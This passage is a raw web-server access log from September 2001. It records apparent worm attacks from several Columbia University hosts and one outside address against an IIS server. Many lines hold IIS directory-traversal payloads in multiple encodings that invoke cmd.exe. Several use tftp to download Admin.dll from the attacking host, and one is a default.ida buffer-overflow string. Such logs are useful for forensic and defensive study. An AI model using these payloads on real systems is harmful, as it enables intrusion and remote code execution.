/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010919 05:11:16: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:20: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:19:20: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:25:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:27:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:27:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:27:22: [194.73.175.222] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:30:27: [194.73.175.222] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:30:46: [194.73.175.222] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:31:04: [194.73.175.222] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:31:23: [194.73.175.222] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:31:41: [194.73.175.222] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:31:59: [194.73.175.222] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:32:18: [194.73.175.222] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:32:36: [194.73.175.222] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:32:55: [194.73.175.222] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:33:13: [194.73.175.222] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:33:32: [194.73.175.222] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:33:50: [194.73.175.222] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:34:08: [194.73.175.222] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:34:27: [194.73.175.222] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:34:45: [194.73.175.222] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:35:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:35:16: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:36:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 05:36:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:37:11: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:38:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 